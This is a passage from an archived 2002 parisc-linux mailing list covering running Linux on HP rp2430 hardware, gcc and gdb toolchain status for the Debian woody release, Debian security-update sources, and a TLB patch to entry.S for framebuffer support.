different objects (which interact in various interesting ways). The cost
of serializing/deserializing these objects to store them in a light
database like berkeleyDB, or simply as files is great enough that the
job becomes CPU bound, and not I/O bound. Being CPU bound is not where I
want to be, when I'm seeing only 2mb/sec of I/O ;)

What's even worse is that I'm using some truly unwiedly third party
class libraries (Hi Richard! ;) which don't provide serialization, so
again, instantiating 'plain old objects' seems to be the path of least
resistance, in my case.

What I was hoping to do is take an athlon box with fast raid and gigabit
ethernet, and buy one of those nice new rp2430s, having it swap over
ethernet. It seems that I can do this with HP-UX, though perhaps not
with G++. I would prefer to run Linux on the rp2430 though, since then I
could use a cheap Intel gigabit NIC (instead of paying $$$ for an HP
one) or better yet, stick my 3ware RAID card in the rp2430, and do away
with the network altogether. That I *can't* do with HP-UX, so...

> Have you tried begging, trading, or buying some cycles on a 
> Superdome with some 100GBs of RAM instead of waiting for 
> weeks to see your jobs run to completion?

Really, my code should be pretty efficient (it takes weeks to run anyway
;) with the setup I've described above, but the killer is: I'm a
University student ("I knew it!" I hear you all say ;) and as such, my
code is perpetually in the "hmm, I wonder what'd happen if.." state. So
"some cycles" would become "some more cycles" faster than you could say
"where's all my RAM gone?!"

	Duraid

P.S. Am I really the only sicko who's wanted a 64-bit machine just so
they can abuse virtual memory? Surely not... ;)

P.P.S. It's true, I do love the smell, the feel, the sound of striped,
thrashing, consumer-level hard drives. C'mon guys, help this sicko make
his dream come true (:






From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Sat, 9 Mar 2002 11:41:13 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20020309114113.B7582@systemhalted>
References: <20020309082810.CD8FF4835@dsl2.external.hp.com> <000001c1c750$8d5f7900$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621144 4584 80.91.229.3 (22 Nov 2014 01:52:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Duraid Madina <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  9 09:40:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id B69BE48DE
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Mar 2002 09:40:36 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g29GfDZ09261;
	Sat, 9 Mar 2002 11:41:13 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Duraid Madina <duraid@fl.net.au>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <000001c1c750$8d5f7900$022a17ac@simplex>; from duraid@fl.net.au on Sat, Mar 09, 2002 at 08:54:55PM +1100
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14297

> 
> > Have you tried begging, trading, or buying some cycles on a 
> > Superdome with some 100GBs of RAM instead of waiting for 
> > weeks to see your jobs run to completion?
> 
> Really, my code should be pretty efficient (it takes weeks to run anyway
> ;) with the setup I've described above, but the killer is: I'm a
> University student ("I knew it!" I hear you all say ;) and as such, my
> code is perpetually in the "hmm, I wonder what'd happen if.." state. So
> "some cycles" would become "some more cycles" faster than you could say
> "where's all my RAM gone?!"
> 
> 	Duraid
>

This is a very similar problem that we had when calculating prime
alternating knots[1]. Essentially what was done was to use MPI[2] 
and a fast network connection, such that you could have _other_ 
computers holding data in RAM/SWAP.

Parallelize parallelize parallelize.

It's really easy to learn MPI and it's great for those big problems
that you may not be able to do with a 64-bit box :)

a. Get a 100MBit/1GBit switch and NIC's.
b. Get some more boxes (borrow/lie/cheat/steal)
c. Tie them together.

This is what I do for a hobby :) ... and yes I'm a student aswell.
It's nice to see that people like Bell and Nortel are willing to 
donate expensive gear for projects like yours or mine[3] :)

c. 

[1] http://baldric.uwo.ca/article.php3?section=baldric&article=knots
[2] http://www-unix.mcs.anl.gov/mpi/mpich/
[2] http://www.lam-mpi.org/
[3] http://www.baldric.uwo.ca/~carlos/pdisplay.html



From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FYI: state of toolchain for Debian woody release
Date: Sat, 9 Mar 2002 10:35:24 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20020309183524.GC628@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621145 4587 80.91.229.3 (22 Nov 2014 01:52:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:25 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  9 11:35:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BAB0482A
	for <parisc-linux@parisc-linux.org>; Sat,  9 Mar 2002 11:35:47 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id luoxlaaa for parisc-linux@parisc-linux.org; Sat, 9 Mar 2002 11:35:07 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16jlgi-0000UF-00; Sat, 09 Mar 2002 10:35:24 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14298

Just thought I'd post a quick note about some of the things happening
recently:

With many thanks to Dave Anglin and the investigation work by Carlos
O'Donell, we've finally fixed the bug in gcc-3.0 that affected passing
floating point arguments in indirect calls.

The new compilers are now in the Debian archive, and we are slowly
starting to rebuild some of the affected packages. (gs and python2.1
were the ones I knew about offhand, and they are now in the incoming
queue). If you know of any other Debian packages you use that might be
affected by this bug, let us know and we'll rebuild it.

There are still some known problems with the compilers, most notably the
problems with fixups that aren't able to reach their targets and thus 
requiring compilation with -ffunction-section. I have one patch from
Dave that fixes this in some cases, but as I understand it the general
problem is more involved and might not get fixed till post-woody.

gdb also seems to be rather broken on hppa at the moment. Single
stepping doesn't always (doesn't usually) work, and there's a problem 
with recognizing core files. If anyone has time to look into these 
and submit patches, that'll be great!

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FYI: state of toolchain for Debian woody release
Date: Sat, 9 Mar 2002 13:56:49 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200203091856.g29IunwI010743@hiauly1.hia.nrc.ca>
References: <20020309183524.GC628@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621145 4589 80.91.229.3 (22 Nov 2014 01:52:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  9 11:56:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73AFC48E4
	for <parisc-linux@parisc-linux.org>; Sat,  9 Mar 2002 11:56:54 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g29IuoFN010744;
	Sat, 9 Mar 2002 13:56:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g29IunwI010743;
	Sat, 9 Mar 2002 13:56:49 -0500 (EST)
In-Reply-To: <20020309183524.GC628@tausq.org> from "Randolph Chung" at Mar 9, 2002 10:35:24 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14299

> gdb also seems to be rather broken on hppa at the moment. Single
> stepping doesn't always (doesn't usually) work, and there's a problem 
> with recognizing core files. If anyone has time to look into these 
> and submit patches, that'll be great!

I haven't noticed any single stepping issues with the gdb that I built.
Stepping into functions doesn't work but single stepping does.  I have
made some changes to the dwarf2 frame note code in gcc and a working dwarf2
unwind mechanism is real close now.  I'm down to 4 fails in the g++ testsuite.

There are issues with loading symbols from shared libs.  They don't
load automatically even though they should.  You can't set new breakpoints
while a program is executing.  You have to run it again.  You can't
set breakpoints in shared libraries.

Also, can't print a function result.  This problem is probably related
to the stepping into function problem.

Info reg r3 prints the value of r3 saved in the frame and not the current
value in r3.  Not sure what happens if r3 is not saved in the frame.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] security updates
Date: Sat, 09 Mar 2002 23:10:33 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <5.0.2.1.2.20020309230930.00ae3d80@mailbox.hrz.tu-chemnitz.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621145 4591 80.91.229.3 (22 Nov 2014 01:52:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  9 15:13:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tom.hrz.tu-chemnitz.de (tom.hrz.tu-chemnitz.de [134.109.132.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29B2A483E
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Mar 2002 15:13:26 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by tom.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #3)
	id 16jp5g-0000Rg-00
	for parisc-linux@lists.parisc-linux.org; Sat, 09 Mar 2002 23:13:24 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16jp5f-00070N-00
	for parisc-linux@lists.parisc-linux.org; Sat, 09 Mar 2002 23:13:23 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14300

Hi,

could someone send me his source.list entries
for security updates?

thanx and cya,
Tilo

|[ Tilo Jandt, K=F6rnerstra=DFe 8, D-09306 Rochlitz         ]|
|[ mailto:tilo@jandt-online.net ]  [ ICQ: 73832493              ]|
|[ Phone: +49 179 5333 255   ]  [ Fax: +49 3737 771478  ]|





From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Sat, 09 Mar 2002 23:18:36 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20020310061836.ED17848E8@dsl2.external.hp.com>
References: <000001c1c750$8d5f7900$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621146 4593 80.91.229.3 (22 Nov 2014 01:52:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Duraid Madina" <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  9 23:18:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id ED17848E8; Sat,  9 Mar 2002 23:18:36 -0700 (MST)
In-Reply-To: Message from "Duraid Madina" <duraid@fl.net.au> 
   of "Sat, 09 Mar 2002 20:54:55 +1100." <000001c1c750$8d5f7900$022a17ac@simplex> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14301

"Duraid Madina" wrote:
> Normally, yes. In my case, not really. To cut a long story short,
> because C++ has poor intrinsic support for reflection, even making my
> app *do* IO is non-trivial. E.g. my program instantiates millions of
> different objects (which interact in various interesting ways). The cost
> of serializing/deserializing these objects to store them in a light
> database like berkeleyDB, or simply as files is great enough that the
> job becomes CPU bound, and not I/O bound. Being CPU bound is not where I
> want to be, when I'm seeing only 2mb/sec of I/O ;)

FWIW, you should expect to see 30-40MB/s to single disk on rp2430.
More with more disks/channels.

> I would prefer to run Linux on the rp2430 though, since then I
> could use a cheap Intel gigabit NIC (instead of paying $$$ for an HP

Well, 2.4 has no e1000 driver (yet) much less one that is known to work
on hppa. I *think* the e1000 driver I "leveraged" from 2.5 release for
HP ia64 machine should also work for hppa. But that's just an educated
guess. FWIW, bcm5700 driver needed some patches to work on HP's
ia64 box and I'm looking forward to testing tg3 patch soon.

And Intel's change in strategy may not work so well in pratice.
So I'd stick with a tigon (acenic or bcm5700) board for the next
3 monthes.

> one) or better yet, stick my 3ware RAID card in the rp2430, and do away
> with the network altogether. That I *can't* do with HP-UX, so...

I've never liked RAID controllers. too complex and failure prone.
If you have spare CPU cycles, putting in simple SCSI controllers will
give you at least 4 x 80MB/s and it's easy to connect 40 or so 9 (or 18GB)
SCSI drives.  This is not shiny, new high tech stuff (eg u160 and 15KRPM).
but I expect it to be faster than any IDE solution (I could be wrong) and
re-usable for other computer science projects (read database or other
mutlithreaded IO) when you are done.  <RANT>And you don't need any
stinking x86 binaries-only software to manage the setup.</RANT>

But I'm not one to stop others from picking solutions that work
for them.

grant



From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB on c3k
Date: Sat, 09 Mar 2002 23:56:41 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20020310065641.D8D3A48EB@dsl2.external.hp.com>
References: <20020306080101.B6A874859@dsl2.external.hp.com> <20020307002239.A9224@solo.franken.de> <tsbogend@alpha.franken.de> <20020307073117.4C572482F@dsl2.external.hp.com>  <20020307110339.A1590@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621146 4594 80.91.229.3 (22 Nov 2014 01:52:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  9 23:56:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D8D3A48EB; Sat,  9 Mar 2002 23:56:41 -0700 (MST)
In-Reply-To: Message from Thomas Bogendoerfer <tsbogend@alpha.franken.de> 
   of "Thu, 07 Mar 2002 11:03:39 +0100." <20020307110339.A1590@solo.franken.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14302

Thomas Bogendoerfer wrote:
> after sleeping over the problem, I believe we were short just one bit.
> We extracted 32 bits from the PTE. The lower 5 bits are zeroed and will
> be the 4 size bits and the one 0 bit in the TLB. That leaves 27 bits for
> the physical page number. Adding the 12 offset bits for 4k pages gives us
> just 39 bits, but we need 40. So instead of the change 32 -> 52 a
> change from 32 -> 33 should do the same. On the other side using all
> bits shouldn't matter and we are prepared for 44 bit and more.

ok. that all make sense now.
It made more sense when I read about extru and idtlbt in the 
PA 2.0 Arch book.

> BTW.
> isn't our current PDC space expansion wrong for "odd" sized address
> spaces ? It should work for 48 and 56, but not for anything else.
> Or do I miss something ?

I have no clue. jsm or willy know?

> I will have a J6700 at Cebit to play with, but I don't think I'll
> get spare time in the next couple of days.

Done! See ftp://ftp.p-l.o/patches/entry.S-diff

The 32-bit kernel with FB is working with 4 instances of the following
change to entry.S (all immediately preceed an idtlbt instruction):
-       extrd,u         pte,56,25,pte
+       extrd,s         pte,56,25,pte   /* bit 31:8 >> 8  */
+       depdi           0,3,4,pte       /* page_size = 4k (in case signed) */

CAVEAT: This is better than the brokeness we had before.
But it doesn't properly handle 0xf0xxxxxx addresses.
Those need to be "f-extended" with 0xf0f0f0... instead of all 1's.

> yes,  with your last ioctl32 changes. I need to recheck my first entry.S
> hack for the narrow mode pa2.0 tlb handler. I think my assembler code
> just sucks and setting up the tlbs the same way as for wide mode,
> should get us X with 32-bit kernels, too.

Done. patch on ftp.p-l.o/patches/entry.S-diff.
Can someone with VM cluefulness review this for me?

It seems to be working on my c3k with Vis-EG/PCI now though...wohoo! :^)

thanks,
grant



From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] security updates
Date: Sun, 10 Mar 2002 20:43:34 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20020310204332.U1906@neep.com.au>
References: <5.0.2.1.2.20020309230930.00ae3d80@mailbox.hrz.tu-chemnitz.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621146 4596 80.91.229.3 (22 Nov 2014 01:52:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 10 05:43:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39994482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Mar 2002 05:43:49 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id UAA10629
	for parisc-linux@lists.parisc-linux.org; Sun, 10 Mar 2002 20:43:37 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <5.0.2.1.2.20020309230930.00ae3d80@mailbox.hrz.tu-chemnitz.de>; from tilo@jandt-online.net on Sat, Mar 09, 2002 at 11:10:33PM +0100
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14303

Quoth Tilo Jandt:
> could someone send me his source.list entries
> for security updates?

Hi Tilo,

Due to the volatile nature of the 'unstable' pool and the delayed update
process of the 'testing' pool, I believe the Debian security updates are
only done for the 'stable' pool.  If there is a security fix for a
testing or unstable package it will generally just appear in your next
apt-get upgrade.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dynamic loader problem
Date: Mon, 11 Mar 2002 13:08:56 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200203111808.g2BI8u5N013881@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621147 4599 80.91.229.3 (22 Nov 2014 01:52:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 11 11:09:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C312482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 11:09:04 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g2BI8vFN013883
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 13:08:57 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g2BI8u5N013881
	for parisc-linux@lists.parisc-linux.org; Mon, 11 Mar 2002 13:08:56 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
